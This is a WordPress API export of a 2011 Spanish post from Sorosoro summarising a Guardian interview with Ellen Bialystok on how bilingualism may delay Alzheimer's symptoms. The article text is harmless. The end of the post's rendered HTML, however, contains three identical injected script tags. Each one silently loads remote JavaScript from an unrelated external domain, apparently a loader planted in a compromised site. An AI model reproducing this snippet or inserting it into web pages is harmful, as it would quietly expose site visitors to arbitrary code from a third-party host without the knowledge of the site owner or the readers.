{"id":51498,"date":"2011-06-27T12:08:00","date_gmt":"2011-06-27T10:08:00","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=51498"},"modified":"2025-10-21T22:32:59","modified_gmt":"2025-10-21T20:32:59","slug":"12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/","title":{"rendered":"12 de junio del 2011: art\u00edculo en el peri\u00f3dico brit\u00e1nico <i>The Guardian<\/i> intitulado \u201cLos cerebros biling\u00fces tienen mejor salud\u201d"},"content":{"rendered":"<p style=\"text-align: justify;\">Ya lo hab\u00edamos mencionado en un <a href=\"http:\/\/blog.sorosoro.org\/es\/los-beneficios-del-plurilinguismo\">blog precedente<\/a> el pasado mes de enero:\u00a0estudios realizados en Canad\u00e1 indican que <strong>la pr\u00e1ctica del biling\u00fcismo durante toda la vida proteger\u00eda de la degeneraci\u00f3n relacionada con la enfermedad de Alzheimer<\/strong>.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">El pasado 12 de junio, <em>The Guardian<\/em> se encarg\u00f3 a su vez de hablar de estas investigaciones a trav\u00e9s de una entrevista de <strong>Ellen Bialystok<\/strong>, una neurocient\u00edfica canadiense, profesora en la Universidad York de Toronto. El eminente especialista evoca aqu\u00ed las ventajas de los biling\u00fces a los monoling\u00fces, en diferentes edades de la vida.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Por ejemplo, estudios realizados en grupos de ni\u00f1os mostraron que <strong>mientras que una persona biling\u00fce hablaba en una lengua, la otra lengua estaba tambi\u00e9n activa en su cerebro<\/strong>. Seg\u00fan el profesor Bialystok, estas personas desarrollan as\u00ed un sistema cognitivo particular destinado \u00ab<strong> sistema de control de la ejecuci\u00f3n<\/strong> \u00ab, que les permite manejar sin problema dos lenguas presentes en su cerebro.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Por otro lado afirma que \u00ab<strong>algo por muy ordinario como hablar dos lenguas reconfigura las redes del cerebro de una manera que lo afecta positivamente<\/strong>\u00ab. Y nos da algunos ejemplos, relativos en particular a la enfermedad de Alzheimer.<\/p>\n<p style=\"text-align: justify;\">Un estudio ha sido realizado particularmente en un centro geri\u00e1trico de Toronto, en 200 personas afectadas por la enfermedad. Los investigadores del equipo distinguieron los biling\u00fces de los monoling\u00fces, y verificaron la edad en la cual los pacientes hab\u00edan sido diagnosticados con la enfermedad. Los biling\u00fces ten\u00edan todos de modo significativo m\u00e1s edad, en promedio de 4 a\u00f1os. El mismo estudio ha sido luego realizado en otra muestra de 200 enfermos, para comprobaci\u00f3n, y los resultados fueron los mismos.<\/p>\n<p style=\"text-align: justify;\">Otro estudio del mismo tipo mostr\u00f3 por otra parte que las personas afectadas con Alzheimer funcionaban mejor cuando eran biling\u00fces que las personas igualmente afectadas por la enfermedad pero monoling\u00fces, incluso cuando la enfermedad est\u00e1 m\u00e1s avanzada f\u00edsicamente en las biling\u00fces.<\/p>\n<p style=\"text-align: justify;\">Sea lo que sea, y es la conclusi\u00f3n del profesor Bialystok, t<strong>oda actividad intelectualmente estimulante ayuda a mantener el cerebro en buena salud<\/strong>. La pr\u00e1ctica de las lenguas es una de estas actividades, pero lo importante no es \u00fanicamente el hecho de que el biling\u00fcismo retrasa los da\u00f1os de la enfermedad: <strong>enterarse de lenguas es importante porque esto permite comprender a otra gente, otras culturas, otras maneras de pensar<\/strong>.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.guardian.co.uk\/technology\/2011\/jun\/12\/ellen-bialystok-bilingual-brains-more-healthy\" target=\"_blank\">Para leer el art\u00edculo completo<\/a><\/p>\n<p style=\"text-align: justify;\">\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ya lo hab\u00edamos mencionado en un blog precedente el pasado mes de enero:\u00a0estudios realizados en Canad\u00e1 indican que la pr\u00e1ctica del biling\u00fcismo durante toda la vida proteger\u00eda de la degeneraci\u00f3n relacionada con la enfermedad de Alzheimer. El pasado 12 de junio, The Guardian se encarg\u00f3 a su vez de hablar de estas investigaciones a trav\u00e9s [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-51498","post","type-post","status-publish","format-standard","hentry","category-noticias"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>12 de junio del 2011: art\u00edculo en el peri\u00f3dico brit\u00e1nico The Guardian intitulado \u201cLos cerebros biling\u00fces tienen mejor salud\u201d - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"12 de junio del 2011: art\u00edculo en el peri\u00f3dico brit\u00e1nico The Guardian intitulado \u201cLos cerebros biling\u00fces tienen mejor salud\u201d - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Ya lo hab\u00edamos mencionado en un blog precedente el pasado mes de enero:\u00a0estudios realizados en Canad\u00e1 indican que la pr\u00e1ctica del biling\u00fcismo durante toda la vida proteger\u00eda de la degeneraci\u00f3n relacionada con la enfermedad de Alzheimer. El pasado 12 de junio, The Guardian se encarg\u00f3 a su vez de hablar de estas investigaciones a trav\u00e9s [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-06-27T10:08:00+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:32:59+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"12 de junio del 2011: art\u00edculo en el peri\u00f3dico brit\u00e1nico The Guardian intitulado \u201cLos cerebros biling\u00fces tienen mejor salud\u201d\",\"datePublished\":\"2011-06-27T10:08:00+00:00\",\"dateModified\":\"2025-10-21T20:32:59+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/\"},\"wordCount\":432,\"articleSection\":[\"Noticias sobre los idiomas en peligro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/\",\"name\":\"12 de junio del 2011: art\u00edculo en el peri\u00f3dico brit\u00e1nico The Guardian intitulado \u201cLos cerebros biling\u00fces tienen mejor salud\u201d - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2011-06-27T10:08:00+00:00\",\"dateModified\":\"2025-10-21T20:32:59+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"12 de junio del 2011: art\u00edculo en el peri\u00f3dico brit\u00e1nico The Guardian intitulado \u201cLos cerebros biling\u00fces tienen mejor salud\u201d\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"12 de junio del 2011: art\u00edculo en el peri\u00f3dico brit\u00e1nico The Guardian intitulado \u201cLos cerebros biling\u00fces tienen mejor salud\u201d - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/","og_locale":"es_ES","og_type":"article","og_title":"12 de junio del 2011: art\u00edculo en el peri\u00f3dico brit\u00e1nico The Guardian intitulado \u201cLos cerebros biling\u00fces tienen mejor salud\u201d - Sorosoro","og_description":"Ya lo hab\u00edamos mencionado en un blog precedente el pasado mes de enero:\u00a0estudios realizados en Canad\u00e1 indican que la pr\u00e1ctica del biling\u00fcismo durante toda la vida proteger\u00eda de la degeneraci\u00f3n relacionada con la enfermedad de Alzheimer. El pasado 12 de junio, The Guardian se encarg\u00f3 a su vez de hablar de estas investigaciones a trav\u00e9s [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/","og_site_name":"Sorosoro","article_published_time":"2011-06-27T10:08:00+00:00","article_modified_time":"2025-10-21T20:32:59+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"2 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"12 de junio del 2011: art\u00edculo en el peri\u00f3dico brit\u00e1nico The Guardian intitulado \u201cLos cerebros biling\u00fces tienen mejor salud\u201d","datePublished":"2011-06-27T10:08:00+00:00","dateModified":"2025-10-21T20:32:59+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/"},"wordCount":432,"articleSection":["Noticias sobre los idiomas en peligro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/","name":"12 de junio del 2011: art\u00edculo en el peri\u00f3dico brit\u00e1nico The Guardian intitulado \u201cLos cerebros biling\u00fces tienen mejor salud\u201d - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2011-06-27T10:08:00+00:00","dateModified":"2025-10-21T20:32:59+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/12-de-junio-del-2011-articulo-en-el-periodico-britanico-the-guardian-intitulado-los-cerebros-bilingues-tienen-mejor-salud\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"12 de junio del 2011: art\u00edculo en el peri\u00f3dico brit\u00e1nico The Guardian intitulado \u201cLos cerebros biling\u00fces tienen mejor salud\u201d"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/51498","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=51498"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/51498\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=51498"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=51498"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=51498"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}